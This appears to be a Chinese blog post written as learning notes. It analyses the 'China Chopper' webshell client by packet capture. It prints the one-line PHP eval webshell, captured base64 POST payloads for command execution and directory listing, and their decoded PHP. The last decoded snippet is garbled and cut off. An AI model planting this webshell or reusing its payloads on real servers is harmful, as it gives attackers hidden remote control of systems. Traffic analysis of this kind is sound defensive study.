技术剖析中国菜刀原理
用了菜刀用了也有一段时间了,感觉挺神奇了,这里做一个小小的探究吧,起始也就是用鲨鱼抓包看看软件是怎么通信实现的,不敢卖弄知识,权当学习笔记了,大神路过呵呵
这货就是主界面,环境啥的就随意了,IIS,阿帕奇,阿金科斯都可以,我这里用apache,因为之前搞的是PHP开发,对PHP相对比较熟悉,随机就用PHP的一句话来做实验了,Asp和jsp的原理应该都差不多。
服务端的.php是这样:
<?php
eval($_POST['op']);
?>
客户端连接设置好URL,密码,连接好之后。我们开始实验。
因为右键点击菜单有很多功能,我们就按功能来划分章节,一个功能一个功能的分析。
1. 自写脚本
这个之前分析过了,直接粘贴过来了
一句话木马的核心就是:
PHP eval() 函数
下面是从Manual上抄的:
eval() 函数把字符串按照 PHP 代码来计算。
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
eval(phpcode)
print("hello PHP!");
就从一个执行简单命令的这一点入手,抓包分析:
这个中国菜刀发送的HTTP包的数据部分:
op=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztwcmludCgiaGVsbG8gUEhQISIpOztlY2hvKCJ8PC0iKTtkaWUoKTs=
这是服务器返回的HTTP数据包
\357\273\277->|hello PHP!|<-
可以看出,这里用了base64编码,为了防止特殊字符传输失败的异常。
用base64解码工具解码:
@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;print("hello PHP!");;echo("|<-");die();
1. 先用@ini_set("display_errors","0");临时关闭PHP的错误显示功能
2. @set_time_limit(0);防止像dir、上传文件大马时超时
3. @set_magic_quotes_runtime(0);关闭魔术引号,这东西在4.0以后就不怎么用了
4. echo("->|");没啥好说的
5. print("hello PHP!");输出字符串
6. die();人如其名
其他的指令也是同一个道理了。
eval会在执行完指令后将结果回显给当前这个HTTP连接。
感觉自写脚本不是太好用,因为要自己手工写如PHP代码,对格式的要求比较严格,不然eval就执行失败,而客户端的好处就是把底层的代码逻辑都用UI封装好了,所以我们现在开始研究其他的功能。
2. 文件管理
2.1 列目录
右键点击文件管理,记住一定要点击更新缓存才能抓到包,因为菜刀这个时候显示的是上一次的缓存,你要更新一下缓存它才会重新发送数据去获取最新的文件情况。
可以看到菜刀只发了一句话(果然叫一句话).
[truncated] op=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7&z1=QzpcXGluZXRwdWJcXHd3d3Jvb3RcXA%3D%3D
通过上面的实验我们知道,这一大段baseCode是好几条指令合在一起的,为了能看清功能,我们人工把它们分成几段来看,我们都知道base64的编码原理是把3个字符编码成4个字符,所以我们分段后的个数一定是4的倍数,根据这个原则能很快的将指令分开来。
还有一点要特别注意,我一开始直接用php_decode对这段字符串解码时,显示的一直是乱码,想了很久也不知道怎么回事,后来看到网上说到base64编码的原理才焕然大悟。
http://www.cnblogs.com/hongru/archive/2012/01/14/2321397.html
原来是URL编码的问题,大概是这样的,因为现在web环境中URL中出现中文等特殊字符是很常见的现象了,这个时候浏览器会自动把这些特殊字符转换成相应的URL Code。而这些数据发送到服务器(apache)之后,服务器会自动先将数据中的URL Code转换会对应的ASCII(注意,就是转成ASCII,之后你要把她当成baseCode是你的事,对服务器来说这时候她就是一个ASCII码)。所以说,上面抓的数据包进行URL逆编码后为这样:
QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7&z1=QzpcXGluZXRwdWJcXHd3d3Jvb3RcXA==
用base64解码后:
@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;D=base64decode(_POST["z1"]);F=@opendir(D);if(F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{M=NULL;L=NULL;while(N=@readdir(F))$P=$D."/".$N;$T=@date("Y−m−dH:i:s",@filemtime($P));@$E=substr(baseconvert(@fileperms($P),10,8),−4);$R="\t".$T."\t".@filesize($P)."\t".$E."";if(@isdir($P))$M.=$N."/".$R;else$L.=